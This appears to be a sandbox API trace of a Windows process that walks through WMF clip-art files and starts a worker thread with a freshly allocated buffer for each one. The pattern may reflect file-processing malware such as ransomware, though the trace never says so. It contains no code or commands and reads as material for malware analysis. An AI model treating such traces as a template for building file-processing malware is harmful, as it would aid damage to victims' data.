	[0266.132] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00608_.WMF", cAlternateFileName="")) returned 1
	[0266.132] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x231c
	[0266.133] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.134] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00633_.WMF", cAlternateFileName="")) returned 1
	[0266.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2320
	[0266.135] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.136] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00640_.WMF", cAlternateFileName="")) returned 1
	[0266.136] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2324
	[0266.138] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.139] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00668_.WMF", cAlternateFileName="")) returned 1
	[0266.139] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2328
	[0266.141] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.142] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9c1f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a9c1f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x108a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00685_.WMF", cAlternateFileName="")) returned 1
	[0266.142] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x232c
	[0266.144] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.144] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78490a00, ftCreationTime.dwHighDateTime=0x1bf0b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78490a00, ftLastWriteTime.dwHighDateTime=0x1bf0b13, nFileSizeHigh=0x0, nFileSizeLow=0x112e, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00686_.WMF", cAlternateFileName="")) returned 1
	[0266.144] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2330
	[0266.384] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.385] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d3900, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb45d3900, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00693_.WMF", cAlternateFileName="")) returned 1
	[0266.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2334
	[0266.387] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.387] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49cc9e00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49cc9e00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00720_.WMF", cAlternateFileName="")) returned 1
	[0266.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2338
	[0266.389] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80c3400, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80c3400, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x1afc, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00723_.WMF", cAlternateFileName="")) returned 1
	[0266.390] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x233c
	[0266.392] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.392] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b300, ftCreationTime.dwHighDateTime=0x1c04210, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d02b300, ftLastWriteTime.dwHighDateTime=0x1c04210, nFileSizeHigh=0x0, nFileSizeLow=0xb1a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00726_.WMF", cAlternateFileName="")) returned 1
	[0266.392] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2340
	[0266.394] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.395] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefd5700, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfefd5700, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00737_.WMF", cAlternateFileName="")) returned 1
	[0266.395] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2344
	[0266.397] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.397] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe289fc00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe289fc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00833_.WMF", cAlternateFileName="")) returned 1
	[0266.397] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2348
	[0266.400] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.400] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870c3e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x870c3e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00898_.WMF", cAlternateFileName="")) returned 1
	[0266.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234c
	[0266.403] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.404] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb8f800, ftCreationTime.dwHighDateTime=0x1bd4b1c, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bb8f800, ftLastWriteTime.dwHighDateTime=0x1bd4b1c, nFileSizeHigh=0x0, nFileSizeLow=0x3100, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00934_.WMF", cAlternateFileName="")) returned 1
	[0266.404] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2350
	[0266.406] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.406] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca3200, ftCreationTime.dwHighDateTime=0x1bd4b11, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24ca3200, ftLastWriteTime.dwHighDateTime=0x1bd4b11, nFileSizeHigh=0x0, nFileSizeLow=0x2904, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00998_.WMF", cAlternateFileName="")) returned 1
	[0266.406] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2354
	[0266.409] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.409] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c97c200, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c97c200, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE01160_.WMF", cAlternateFileName="")) returned 1
	[0266.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2358
	[0266.411] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.412] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efa1c00, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5efa1c00, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE01172_.WMF", cAlternateFileName="")) returned 1
	[0266.412] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x235c
	[0266.414] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.414] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58e6600, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58e6600, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3f9c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE01191_.WMF", cAlternateFileName="")) returned 1
	[0266.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2360
	[0266.417] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.417] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e9600, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea5e9600, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE01661_.WMF", cAlternateFileName="")) returned 1
	[0266.417] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2364
	[0266.615] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.616] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE01797_.WMF", cAlternateFileName="")) returned 1
	[0266.616] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2368
	[0266.618] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.619] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02120_.WMF", cAlternateFileName="")) returned 1
	[0266.619] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x236c
	[0266.620] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.621] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02169_.WMF", cAlternateFileName="")) returned 1
	[0266.621] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2370
	[0266.623] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.623] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8378b700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8378b700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x75e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02262_.WMF", cAlternateFileName="")) returned 1
	[0266.623] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2374
	[0266.625] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.626] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x824e, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02263_.WMF", cAlternateFileName="")) returned 1
	[0266.626] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2378
	[0266.628] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.628] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa753f100, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa753f100, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x62b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02265_.WMF", cAlternateFileName="")) returned 1
	[0266.628] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x237c
	[0266.630] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.631] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f02900, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3f02900, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x78e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02267_.WMF", cAlternateFileName="")) returned 1
	[0266.631] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2380
	[0266.633] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.633] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe53000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fe53000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02270_.WMF", cAlternateFileName="")) returned 1
	[0266.633] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
